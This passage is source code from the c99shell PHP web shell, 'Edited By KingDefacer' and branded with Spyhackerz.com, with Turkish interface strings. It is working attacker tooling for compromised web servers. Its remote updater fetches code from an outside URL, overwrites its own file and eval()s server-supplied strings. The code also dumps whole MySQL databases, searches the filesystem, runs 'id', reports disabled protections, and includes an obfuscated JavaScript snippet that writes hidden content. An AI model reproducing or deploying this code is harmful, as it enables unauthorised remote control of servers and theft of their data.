  1044.   "ashsh_datapipe.pl" => "ashsh_datapipe_pl.txt",
  1045.  
  1046.   "ashsh_datapipe.c" => "ashsh_datapipe_c.txt",
  1047.  
  1048.  );
  1049.  
  1050.  $name = $array[$fn];
  1051.  
  1052.  if ($name) {return file_get_contents($ashsh_sourcesurl.$name);}
  1053.  
  1054.  else {return false;}
  1055.  
  1056. }
  1057.  
  1058. }
  1059.  
  1060. if (!function_exists("ashsh_getupdate"))
  1061.  
  1062. {
  1063.  
  1064. function ashsh_getupdate($update = true)
  1065.  
  1066. {
  1067.  
  1068.  $url = $GLOBALS["ashsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  1069.  
  1070.  $data = @file_get_contents($url);
  1071.  
  1072.  if (!$data) {return "Server guncellestirme baglanamadi!";}
  1073.  
  1074.  else
  1075.  
  1076.  {
  1077.  
  1078.   $data = ltrim($data);
  1079.  
  1080.   $string = substr($data,3,ord($data{2}));
  1081.  
  1082.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Hatta: ".$string; return false;}
  1083.  
  1084.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "En son guncellestirmeyi kullaniyosun!";}
  1085.  
  1086.   if ($data{0} == "\x99" and $data{1} == "\x03")
  1087.  
  1088.   {
  1089.  
  1090.    $string = explode("\x01",$string);
  1091.  
  1092.    if ($update)
  1093.  
  1094.    {
  1095.  
  1096.     $confvars = array();
  1097.  
  1098.     $sourceurl = $string[0];
  1099.  
  1100.     $source = file_get_contents($sourceurl);
  1101.  
  1102.     if (!$source) {return "Can't fetch update!";}
  1103.  
  1104.     else
  1105.  
  1106.     {
  1107.  
  1108.      $fp = fopen(__FILE__,"w");
  1109.  
  1110.      if (!$fp) {return "Yerel Hata: Guncelestirme yazilamadi".__FILE__."! Sen Spyhackerz.com girip birseyler grenebilirsin. <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  1111.  
  1112.      else {fwrite($fp,$source); fclose($fp); return "Tesekkurler Guncellendi!";}
  1113.  
  1114.     }
  1115.  
  1116.    }
  1117.  
  1118.    else {return "Yeni Versiyon bulundu: ".$string[1];}
  1119.  
  1120.   }
  1121.  
  1122.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  1123.  
  1124.   else {return "protocol hata: bolum engellendi! (".$data.") ";}
  1125.  
  1126.  }
  1127.  
  1128. }
  1129.  
  1130. }
  1131.  
  1132. if (!function_exists("mysql_dump"))
  1133.  
  1134. {
  1135.  
  1136. function mysql_dump($set)
  1137.  
  1138. {
  1139.  
  1140.  global $shver;
  1141.  
  1142.  $sock = $set["sock"];
  1143.  
  1144.  $db = $set["db"];
  1145.  
  1146.  $print = $set["print"];
  1147.  
  1148.  $nl2br = $set["nl2br"];
  1149.  
  1150.  $file = $set["file"];
  1151.  
  1152.  $add_drop = $set["add_drop"];
  1153.  
  1154.  $tabs = $set["tabs"];
  1155.  
  1156.  $onlytabs = $set["onlytabs"];
  1157.  
  1158.  $ret = array();
  1159.  
  1160.  $ret["err"] = array();
  1161.  
  1162.  if (!is_resource($sock)) {echo("Hata: \$sock Dogrulamadi");}
  1163.  
  1164.  if (empty($db)) {$db = "db";}
  1165.  
  1166.  if (empty($print)) {$print = 0;}
  1167.  
  1168.  if (empty($nl2br)) {$nl2br = 0;}
  1169.  
  1170.  if (empty($add_drop)) {$add_drop = true;}
  1171.  
  1172.  if (empty($file))
  1173.  
  1174.  {
  1175.  
  1176.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  1177.  
  1178.  }
  1179.  
  1180.  if (!is_array($tabs)) {$tabs = array();}
  1181.  
  1182.  if (empty($add_drop)) {$add_drop = true;}
  1183.  
  1184.  if (sizeof($tabs) == 0)
  1185.  
  1186.  {
  1187.  
  1188.   // retrive tables-list
  1189.  
  1190.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  1191.  
  1192.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  1193.  
  1194.  }
  1195.  
  1196.  $out = "# Dumped by SpYShell.SQL ".$shver."
  1197.  
  1198. # Ana Sayfa: http://www.spyhackerz.com/
  1199.  
  1200. # Host ayarlari:
  1201.  
  1202. # MySQL versiyon: (".mysql_get_server_info().") Su an calisan ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  1203.  
  1204. # Tarih: ".date("d.m.Y H:i:s")."
  1205.  
  1206. # DB: \"".$db."\"
  1207.  
  1208. #---------------------------------------------------------
  1209.  
  1210. ";
  1211.  
  1212.  $c = count($onlytabs);
  1213.  
  1214.  foreach($tabs as $tab)
  1215.  
  1216.  {
  1217.  
  1218.   if ((in_array($tab,$onlytabs)) or (!$c))
  1219.  
  1220.   {
  1221.  
  1222.    if ($add_drop) {$out .= "Ekle Table , exits `".$tab."`;\n";}
  1223.  
  1224.    // recieve query for Olustur table structure
  1225.  
  1226.    $res = mysql_query("Olusan tabloyu goster `".$tab."`", $sock);
  1227.  
  1228.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  1229.  
  1230.    else
  1231.  
  1232.    {
  1233.  
  1234.     $row = mysql_fetch_row($res);
  1235.  
  1236.     $out .= $row["1"].";\n\n";
  1237.  
  1238.     // recieve table variables
  1239.  
  1240.     $res = mysql_query("Sec * FROM `$tab`", $sock);
  1241.  
  1242.     if (mysql_num_rows($res) > 0)
  1243.  
  1244.     {
  1245.  
  1246.      while ($row = mysql_fetch_assoc($res))
  1247.  
  1248.      {
  1249.  
  1250.       $keys = implode("`, `", array_keys($row));
  1251.  
  1252.       $values = array_values($row);
  1253.  
  1254.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1255.  
  1256.       $values = implode("', '", $values);
  1257.  
  1258.       $sql = "Icine Sok `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  1259.  
  1260.       $out .= $sql;
  1261.  
  1262.      }
  1263.  
  1264.     }
  1265.  
  1266.    }
  1267.  
  1268.   }
  1269.  
  1270.  }
  1271.  
  1272.  $out .= "#---------------------------------------------------------------------------------\n\n";
  1273.  
  1274.  if ($file)
  1275.  
  1276.  {
  1277.  
  1278.   $fp = fopen($file, "w");
  1279.  
  1280.   if (!$fp) {$ret["err"][] = 2;}
  1281.  
  1282.   else
  1283.  
  1284.   {
  1285.  
  1286.    fwrite ($fp, $out);
  1287.  
  1288.    fclose ($fp);
  1289.  
  1290.   }
  1291.  
  1292.  }
  1293.  
  1294.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  1295.  
  1296.  return $out;
  1297.  
  1298. }
  1299.  
  1300. }
  1301.  
  1302. if (!function_exists("mysql_buildwhere"))
  1303.  
  1304. {
  1305.  
  1306. function mysql_buildwhere($array,$sep=" and",$functs=array())
  1307.  
  1308. {
  1309.  
  1310.  if (!is_array($array)) {$array = array();}
  1311.  
  1312.  $result = "";
  1313.  
  1314.  foreach($array as $k=>$v)
  1315.  
  1316.  {
  1317.  
  1318.   $value = "";
  1319.  
  1320.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  1321.  
  1322.   $value .= "'".addslashes($v)."'";
  1323.  
  1324.   if (!empty($functs[$k])) {$value .= ")";}
  1325.  
  1326.   $result .= "`".$k."` = ".$value.$sep;
  1327.  
  1328.  }
  1329.  
  1330.  $result = substr($result,0,strlen($result)-strlen($sep));
  1331.  
  1332.  return $result;
  1333.  
  1334. }
  1335.  
  1336. }
  1337.  
  1338. if (!function_exists("mysql_fetch_all"))
  1339.  
  1340. {
  1341.  
  1342. function mysql_fetch_all($query,$sock)
  1343.  
  1344. {
  1345.  
  1346.  if ($sock) {$result = mysql_query($query,$sock);}
  1347.  
  1348.  else {$result = mysql_query($query);}
  1349.  
  1350.  $array = array();
  1351.  
  1352.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  1353.  
  1354.  mysql_free_result($result);
  1355.  
  1356.  return $array;
  1357.  
  1358. }
  1359.  
  1360. }
  1361.  
  1362. if (!function_exists("mysql_smarterror"))
  1363.  
  1364. {
  1365.  
  1366. function mysql_smarterror($type,$sock)
  1367.  
  1368. {
  1369.  
  1370.  if ($sock) {$error = mysql_error($sock);}
  1371.  
  1372.  else {$error = mysql_error();}
  1373.  
  1374.  $error = htmlspecialchars($error);
  1375.  
  1376.  return $error;
  1377.  
  1378. }
  1379.  
  1380. }
  1381.  
  1382. if (!function_exists("mysql_query_form"))
  1383.  
  1384. {
  1385.  
  1386. function mysql_query_form()
  1387.  
  1388. {
  1389.  
  1390.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  1391.  
  1392.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1393.  
  1394.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1395.  
  1396.  if ((!$submit) or ($sql_act))
  1397.  
  1398.  {
  1399.  
  1400.   echo "<table border=0><tr><td><form name=\"ashsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden eminmisin ? :)";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Evet\">&nbsp;<input type=submit value=\"Hayir\"></form></td>";
  1401.  
  1402.   if ($tbl_struct)
  1403.  
  1404.   {
  1405.  
  1406.    echo "<td valign=\"top\"><b>Alanlar:</b><br>";
  1407.  
  1408.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.ashsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  1409.  
  1410.    echo "</td></tr></table>";
  1411.  
  1412.   }
  1413.  
  1414.  }
  1415.  
  1416.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  1417.  
  1418. }
  1419.  
  1420. }
  1421.  
  1422. if (!function_exists("mysql_create_db"))
  1423.  
  1424. {
  1425.  
  1426. function mysql_create_db($db,$sock="")
  1427.  
  1428. {
  1429.  
  1430.  $sql = "DATABASE OLUSTUR `".addslashes($db)."`;";
  1431.  
  1432.  if ($sock) {return mysql_query($sql,$sock);}
  1433.  
  1434.  else {return mysql_query($sql);}
  1435.  
  1436. }
  1437.  
  1438. }
  1439.  
  1440. if (!function_exists("mysql_query_parse"))
  1441.  
  1442. {
  1443.  
  1444. function mysql_query_parse($query)
  1445.  
  1446. {
  1447.  
  1448.  $query = trim($query);
  1449.  
  1450.  $arr = explode (" ",$query);
  1451.  
  1452.  /*array array()
  1453.  
  1454.  {
  1455.  
  1456.   "METHOD"=>array(output_type),
  1457.  
  1458.   "METHOD1"...
  1459.  
  1460.   ...
  1461.  
  1462.  }
  1463.  
  1464.  if output_type == 0, no output,
  1465.  
  1466.  if output_type == 1, no output if no error
  1467.  
  1468.  if output_type == 2, output without control-buttons
  1469.  
  1470.  if output_type == 3, output with control-buttons
  1471.  
  1472.  */
  1473.  
  1474.  $types = array(
  1475.  
  1476.   "SELECT"=>array(3,1),
  1477.  
  1478.   "SHOW"=>array(2,1),
  1479.  
  1480.   "DELETE"=>array(1),
  1481.  
  1482.   "DROP"=>array(1)
  1483.  
  1484.  );
  1485.  
  1486.  $result = array();
  1487.  
  1488.  $op = strtoupper($arr[0]);
  1489.  
  1490.  if (is_array($types[$op]))
  1491.  
  1492.  {
  1493.  
  1494.   $result["propertions"] = $types[$op];
  1495.  
  1496.   $result["query"]  = $query;
  1497.  
  1498.   if ($types[$op] == 2)
  1499.  
  1500.   {
  1501.  
  1502.    foreach($arr as $k=>$v)
  1503.  
  1504.    {
  1505.  
  1506.     if (strtoupper($v) == "LIMIT")
  1507.  
  1508.     {
  1509.  
  1510.      $result["limit"] = $arr[$k+1];
  1511.  
  1512.      $result["limit"] = explode(",",$result["limit"]);
  1513.  
  1514.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  1515.  
  1516.      unset($arr[$k],$arr[$k+1]);
  1517.  
  1518.     }
  1519.  
  1520.    }
  1521.  
  1522.   }
  1523.  
  1524.  }
  1525.  
  1526.  else {return false;}
  1527.  
  1528. }
  1529.  
  1530. }
  1531.  
  1532. if (!function_exists("ashfsearch"))
  1533.  
  1534. {
  1535.  
  1536. function ashfsearch($d)
  1537.  
  1538. {
  1539.  
  1540.  global $found;
  1541.  
  1542.  global $found_d;
  1543.  
  1544.  global $found_f;
  1545.  
  1546.  global $search_i_f;
  1547.  
  1548.  global $search_i_d;
  1549.  
  1550.  global $a;
  1551.  
  1552.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1553.  
  1554.  $h = opendir($d);
  1555.  
  1556.  while (($f = readdir($h)) !== false)
  1557.  
  1558.  {
  1559.  
  1560.   if($f != "." && $f != "..")
  1561.  
  1562.   {
  1563.  
  1564.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  1565.  
  1566.    if (is_dir($d.$f))
  1567.  
  1568.    {
  1569.  
  1570.     $search_i_d++;
  1571.  
  1572.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  1573.  
  1574.     if (!is_link($d.$f)) {ashfsearch($d.$f);}
  1575.  
  1576.    }
  1577.  
  1578.    else
  1579.  
  1580.    {
  1581.  
  1582.     $search_i_f++;
  1583.  
  1584.     if ($bool)
  1585.  
  1586.     {
  1587.  
  1588.      if (!empty($a["text"]))
  1589.  
  1590.      {
  1591.  
  1592.       $r = @file_get_contents($d.$f);
  1593.  
  1594.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  1595.  
  1596.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  1597.  
  1598.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  1599.  
  1600.       else {$bool = strpos(" ".$r,$a["text"],1);}
  1601.  
  1602.       if ($a["text_not"]) {$bool = !$bool;}
  1603.  
  1604.       if ($bool) {$found[] = $d.$f; $found_f++;}
  1605.  
  1606.      }
  1607.  
  1608.      else {$found[] = $d.$f; $found_f++;}
  1609.  
  1610.     }
  1611.  
  1612.    }
  1613.  
  1614.   }
  1615.  
  1616.  }
  1617.  
  1618.  closedir($h);
  1619.  
  1620. }
  1621.  
  1622. }
  1623.  
  1624. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  1625.  
  1626. //Sending headers
  1627.  
  1628. @ob_start();
  1629.  
  1630. @ob_implicit_flush(0);
  1631.  
  1632. function onphpshutdown()
  1633.  
  1634. {
  1635.  
  1636.  global $gzipencode,$ft;
  1637.  
  1638.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  1639.  
  1640.  {
  1641.  
  1642.   $v = @ob_get_contents();
  1643.  
  1644.   @ob_end_clean();
  1645.  
  1646.   @ob_start("ob_gzHandler");
  1647.  
  1648.   echo $v;
  1649.  
  1650.   @ob_end_flush();
  1651.  
  1652.  }
  1653.  
  1654. }
  1655.  
  1656. function ashshexit()
  1657.  
  1658. {
  1659.  
  1660.  onphpshutdown();
  1661.  
  1662.  exit;
  1663.  
  1664. }
  1665.  
  1666. header("Zamani: Mon, 12 May 2005 03:00:00 GMT");
  1667.  
  1668. header("Son Modifiye: ".gmdate("D, d M Y H:i:s")." GMT");
  1669.  
  1670. header("Cache-Control: no-store, no-cache, must-revalidate");
  1671.  
  1672. header("Cache-Control: post-check=0, pre-check=0", false);
  1673.  
  1674. header("Pratik: no-cache");
  1675.  
  1676. if (empty($tmpdir))
  1677.  
  1678. {
  1679.  
  1680.  $tmpdir = ini_get("upload_tmp_dir");
  1681.  
  1682.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  1683.  
  1684. }
  1685.  
  1686. $tmpdir = realpath($tmpdir);
  1687.  
  1688. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  1689.  
  1690. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  1691.  
  1692. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  1693.  
  1694. else {$tmpdir_logs = realpath($tmpdir_logs);}
  1695.  
  1696. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  1697.  
  1698. {
  1699.  
  1700.  $safemode = true;
  1701.  
  1702.  $hsafemode = "<font color=red>ACiK (Guvenlikli) :( </font>";
  1703.  
  1704. }
  1705.  
  1706. else {$safemode = false; $hsafemode = "<font color=green>Kapali (guvenlik yok)</font>";}
  1707.  
  1708. $v = @ini_get("open_basedir");
  1709.  
  1710. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
  1711.  
  1712. else {$openbasedir = false; $hopenbasedir = "<font color=green>Kapali (guvenlik yok)</font>";}
  1713.  
  1714. $sort = htmlspecialchars($sort);
  1715.  
  1716. if (empty($sort)) {$sort = $sort_default;}
  1717.  
  1718. $sort[1] = strtolower($sort[1]);
  1719.  
  1720. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  1721.  
  1722. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  1723.  
  1724. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  1725.  
  1726. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  1727.  
  1728. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  1729.  
  1730. @ini_set("highlight.default",$highlight_default); //#0000BB
  1731.  
  1732. @ini_set("highlight.html",$highlight_html); //#000000
  1733.  
  1734. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  1735.  
  1736. @ini_set("highlight.string",$highlight_string); //#DD0000
  1737.  
  1738. if (!is_array($actbox)) {$actbox = array();}
  1739.  
  1740. $dspact = $act = htmlspecialchars($act);
  1741.  
  1742. $disp_fullpath = $ls_arr = $notls = null;
  1743.  
  1744. $ud = urlencode($d);
  1745.  
  1746. ?>
  1747.  
  1748. <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
  1749.  
  1750. <title><?php echo getenv("HTTP_HOST"); ?> c99shell - Edited By KingDefacer</title>
  1751.  
  1752. <script type="text/javascript" language="javascript">
  1753.  
  1754. <!--
  1755.  
  1756. ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
  1757.  
  1758. MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
  1759.  
  1760. OT="";
  1761.  
  1762. for(j=0;j<MI.length;j++){
  1763.  
  1764. OT+=ML.charAt(MI.charCodeAt(j)-48);
  1765.  
  1766. }document.write(OT);
  1767.  
  1768. // --></script>
  1769.  
  1770. <STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99shell Edited By KingDefacer</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Server Yazilim:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>Uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Guvenlik Modu:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left">
  1771.  
  1772. <?php
  1773.  
  1774. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1775.  
  1776. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1777.  
  1778. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1779.  
  1780. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1781.  
  1782. $d = str_replace("\\\\","\\",$d);
  1783.  
  1784. $dispd = htmlspecialchars($d);
  1785.  
  1786. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1787.  
  1788. $i = 0;
  1789.  
  1790. foreach($pd as $b)
  1791.  
  1792. {
  1793.  
  1794.  $t = "";
  1795.  
  1796.  $j = 0;
  1797.  
  1798.  foreach ($e as $r)
  1799.  
  1800.  {
  1801.  
  1802.   $t.= $r.DIRECTORY_SEPARATOR;
  1803.  
  1804.   if ($j == $i) {break;}
  1805.  
  1806.   $j++;
  1807.  
  1808.  }
  1809.  
  1810.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1811.  
  1812.  $i++;
  1813.  
  1814. }
  1815.  
  1816. echo "&nbsp;&nbsp;&nbsp;";
  1817.  
  1818. if (is_writable($d))
  1819.  
  1820. {
  1821.  
  1822.  $wd = true;
  1823.  
  1824.  $wdt = "<font color=green> [ ok ] </font>";
  1825.  
  1826.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1827.  
  1828. }
  1829.  
  1830. else
  1831.  
  1832. {
  1833.  
  1834.  $wd = false;
  1835.  
  1836.  $wdt = "<font color=red> [ Sadece Read ] </font>";
  1837.  
  1838.  echo "<b>".view_perms_color($d)."</b>";
  1839.  
  1840. }
  1841.  
  1842. if (is_callable("disk_free_space"))
  1843.  
  1844. {
  1845.  
  1846.  $free = disk_free_space($d);
  1847.  
  1848.  $total = disk_total_space($d);
  1849.  
  1850.  if ($free === false) {$free = 0;}
  1851.  
  1852.  if ($total === false) {$total = 0;}
  1853.  
  1854.  if ($free < 0) {$free = 0;}
  1855.  
  1856.  if ($total < 0) {$total = 0;}
  1857.  
  1858.  $used = $total-$free;
  1859.  
  1860.  $free_percent = round(100/($total/$free),2);
  1861.  
  1862.  echo "<br><b>Toplam ".view_size($total)." kapasite, ve ".view_size($free)." Bo$. Ortalama(".$free_percent."%) </b>";
  1863.  
  1864. }
  1865.  
  1866. echo "<br>";
  1867.  
  1868. $letters = "";
  1869.  
  1870. if ($win)
  1871.  
  1872. {
  1873.  
  1874.  $v = explode("\\",$d);
  1875.  
  1876.  $v = $v[0];
  1877.  
  1878.  foreach (range("a","z") as $letter)
  1879.  
  1880.  {
  1881.  
  1882.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  1883.  
  1884.   if (!$bool) {$bool = is_dir($letter.":\\");}
  1885.  
  1886.   if ($bool)
  1887.  
  1888.   {
  1889.  
  1890.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Disketin Takili oldugundan Emin ol!')\"":"").">[ ";
  1891.  
  1892.    if ($letter.":" != $v) {$letters .= $letter;}
  1893.  
  1894.    else {$letters .= "<font color=green>".$letter."</font>";}
  1895.  
  1896.    $letters .= " ]</a> ";
  1897.  
  1898.   }
  1899.  
  1900.  }
  1901.  
  1902.  if (!empty($letters)) {echo "<b>Bulunan Suruculer</b>: ".$letters."<br>";}
  1903.  
  1904. }
  1905.  
  1906. if (count($quicklaunch) > 0)
  1907.  
  1908. {
  1909.  
  1910.  foreach($quicklaunch as $item)
  1911.  
  1912.  {
  1913.  
  1914.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1915.  
  1916.   $item[1] = str_replace("%sort",$sort,$item[1]);
  1917.  
  1918.   $v = realpath($d."..");
  1919.  
  1920.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1921.  
  1922.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1923.  
  1924.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  1925.  
  1926.  }
  1927.  
  1928. }
  1929.  
  1930. echo "</p></td></tr></table><br>";
  1931.  
  1932. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#FF0000 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  1933.  
  1934. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  1935.  
  1936. if ($act == "") {$act = $dspact = "ls";}
  1937.  
  1938. if ($act == "sql")
  1939.  
  1940. {
  1941.  
  1942.  $sql_surl = $surl."act=sql";
  1943.  
  1944.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1945.  
  1946.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1947.  
  1948.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1949.  
  1950.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1951.  
  1952.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1953.  
  1954.  $sql_surl .= "&";
  1955.  
  1956.  ?><h3>Dikkat! SQL-Manager i  Hazirda  <u>DEGiL</u>. </h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  1957.  
  1958.  if ($sql_server)
  1959.  
  1960.  {
  1961.  
  1962.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1963.  
  1964.   $err = mysql_smarterror();
  1965.  
  1966.   @mysql_select_db($sql_db,$sql_sock);
  1967.  
  1968.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1969.  
  1970.  }
  1971.  
  1972.  else {$sql_sock = false;}
  1973.  
  1974.  echo "<b>SQL Manager:</b><br>";
  1975.  
